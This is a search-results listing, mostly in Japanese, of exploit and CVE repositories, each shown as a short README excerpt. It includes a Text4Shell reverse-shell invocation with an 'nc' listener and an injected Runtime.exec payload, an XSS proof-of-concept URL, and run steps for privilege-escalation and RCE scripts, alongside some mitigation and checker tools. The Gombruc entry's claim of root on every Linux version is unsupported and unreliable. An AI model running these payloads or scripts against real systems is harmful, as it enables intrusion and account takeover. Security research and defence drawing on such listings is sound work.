121588 matches found
Gombruc
Gombruc Linux（全バージョン）向けの権限昇格 この脆弱性は、すべてのLinuxシステムに影響を及ぼすCVE-2025-0401に関連しています。このbashスクリプトを使用すると、ユーザーにRootアクセスを含む任意のレベルのアクセス権限を付与できます。警告：このエクスプロイトは教育目的のみであり、この脆弱性の悪用は危険を伴います。 ヒント LinuxでGombrucを使用するには、次の手順を実行します： ステップ1. chmod +x Gombruc.sh ステップ2. ./Gombruc.sh ステップ3. 昇格した「root」アクセスレベルをお楽しみください。...
CVE-2018-7849
CVE-2018-7849 影響を受ける製品 Schneider Electric Modicon M580 バージョン 2.90 Schneider Electric Modicon M340 バージョン 3.10 Schneider Electric Modicon Premium 全バージョン Schneider Electric Modicon Quantum 全バージョン 参照 https://www.se.com/ww/en/download/document/SEVD-2019-134-11/...
CVE-2022-29469
CVE-2022-29469 SynixCyberCrimeMY メンバー + ムスリムハッカーの皆様に感謝 使い方 git clone https://github.com/S4muraiMelayu1337/CVE-2022-29469/ cd CVE-2022-29469 pip3 install -r requirements.txt python3 cve.py...
CVE-2022-26134-POC
説明： これは、マルチスレッドを使用したConfluence OGNLインジェクション脆弱性（CVE-2022-26134）の一括検出をサポートするスクリプトツールです 使い方： url.txtファイル内のターゲットアドレス 効果： 1. 単一ターゲットの検出 2. 一括検出（検出成功時はコマンドウィンドウに黄色のハイライトエコーが表示されます ） 免責事項： このツールは学習目的のみに使用されます。ネットワークセキュリティ関連の法律および規制を遵守してください。違法使用による責任は開発者には一切ありません！！...
text4shell-exploit
text4shell-exploit Text4ShellCVE-2022-42889을 대상으로 하는 맞춤형 Python 기반 개념 증명PoC 익스플로잇으로, Apache Commons Text 버전 Example python3 text4shell.py 127.0.0.1 192.168.1.2 4444 공격 머신에서 리스너를 설정했는지 확인하세요: nc -nlvp 4444 페이로드 로직 The script injects: $script:javascript:java.lang.Runtime.getRuntime.exec... 리버스 쉘은...
CVE-2017-0290-
CVE-2017-0290- こんにちは、私はリビア出身のGihad Alkmatyです スクリプト CVE-2017-0290- 専門家がWindows DEFINDERを破壊 windows/8.1/10/...
CVE-2022-30190
CVE-2022-30190 CVE-2022-30190 CVE-2022-30190 Follina POC exploit.html を localhost のポート 80 でホストします。docx を開くと calc が起動します。 doc が参照するリモートアドレスを変更するには、7Z で開き、word\rels\document.xml.rels を編集して新しい場所を指定します。感嘆符（!）は必ず保持してください。これを URL の末尾から省略すると、文字通り実行されません。 エクスプロイトは window.location.href の前に少なくとも 3541...
CVE-2022-30190
CVE-2022-30190 CVE-2022-30190 の緩和策 スクリプトは管理者として実行する必要があります。このスクリプトは、Connectwise Automate RMM ツールによる展開でテストされています。 バックアップを取ってレジストリから何かを削除するよりも、このソリューションの方がすっきりしていると感じました。これは単に DWORD キー値を「1」に更新して機能を復元できるためです。 あるいは、スクリプトを変更して、追加されたレジストリキーを検索して削除することもできます。...
CVE-2011-3368
CVE-2011-3368 概念実証エクスプロイト。 cve-2011-3368 インストール: git clone https://github.com/colorblindpentester/CVE-2011-3368 cd CVE-2011-3368 python2 CVE-2011-3368.py テスト環境: OS X macos Parrot OS Kali linux...
CVE-2020-5902
CVE-2020-5902 CVE-2020-5902 のエクスプロイト PoC bash バージョン...
CVE-2016-10993
CVE-2016-10993 Wordpress 취약점 - XSS 크로스 사이트 스크립팅 취약점 위치 https://themesinfo.com/scoreme-wordpress-theme-design-496 개념 증명 PoC https://example.com/?s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E 참고자료 https://wpscan.com/vulnerability/8431...
CVE-2023-6000-POC
일반 세부 정보 CVE-ID : CVE-2023-6000 CVSS 점수 : 6.1 유형 : 저장형 XSS 수정된 버전 : Popup Builder 4.2.3 이 취약점은 공격자가 WordPress Popup Builder 플러그인의 교차 사이트 스크립팅XSS 결함을 악용할 수 있도록 합니다. 플러그인이 일반 방문자가 기존 팝업을 수정하는 것을 막지 못하며, 공격자가 특수하게 조작된 요청을 서버에 보내면 악성 스크립트를 팝업에 주입할 수 있으며, 사용자가 팝업과 상호작용할 때 해당 스크립트가 실행됩니다. 이 POC에서는 팝업의 ...
patch_CVE-2023-22809
patchCVE-2023-22809 Bashスクリプト: sudoのインストール このBashスクリプトは、システムに最新版のsudoを自動的にインストールします。 前提条件 Linuxベースのオペレーティングシステム wgetパッケージがインストールされていること（パッケージマネージャーを使用してインストール可能） 使用方法 1. このリポジトリをローカルマシンにクローンまたはダウンロードします。 2. スクリプトが含まれているディレクトリに移動します。 3. スクリプトのディレクトリでターミナルを開きます。 4. 以下のコマンドでスクリプトを実行可能にします： chmod +x...
SSH-account-enumeration-verification-script
SSH-account-enumeration-verification-script SSHアカウント列挙確認スクリプトCVE-2018-15473...
CVE-2007-2447
ExploitDev Journey 6 | CVE-2007-2447 | Samba 3.0.20 3.0.25rc 'Username' map script' コマンド実行 オリジナルエクスプロイト: https://www.exploit-db.com/exploits/16320 エクスプロイト名: Samba username map script RCE CVE : 2007-2447 ラボ : Lame - HackTheBox 説明 Samba...
revisaxzutils
revisaxzutils bashスクリプト - CVE-2024-3094の脆弱性があるかどうかを確認するためのスクリプト。 インストール Ubuntu、Kali Linux、Parrot向けのクイックインストール git clone https://github.com/hackingetico21/revisaxzutils.git cd revisaxzutils chmod +x ./revisaxzutils.sh...
Minio-Security-Vulnerability-Checker
Minio セキュリティ脆弱性チェッカー 説明 このプログラムは、CVE-2022-35919 の脆弱性に関連する Minio システムのセキュリティを検査するために作成されたツールです。このツールは、ユーザーが Minio 設定内の潜在的な脆弱性を検出するのに役立つように設計されています。 使用方法 1. システムに Python バージョン 3.x がインストールされていることを確認してください。 2. このリポジトリからスクリプト miniosecuritychecker.py をダウンロードします。 3...
Text4ShellPayloads
Text4ShellPayloads このプロジェクトには、CVE-2022-42889の脆弱性を悪用した悪意のあるコマンドを生成するPythonスクリプトが含まれています 脆弱なサーバーは、「Karthik U J」のガイダンスに従い、https://github.com/karthikuj/cve-2022-42889-text4shell-docker の手順に沿ってセットアップされています...
CVE-2022-3552
CVE-2022-3552 BoxBlilling の脆弱性を悪用するには、バージョンが "BoxBilling=4.22.1.5" であり、かつ 有効な管理画面の認証情報 を保持している必要があります。 上記の条件を満たしている場合、RCE を取得するための手順は以下の通りです。 Python 仮想環境を作成する Linux python3 -m venv .venv source .venv/bin/activate 次に、この pwntools ライブラリをインストールします。 pip3 install pwntools...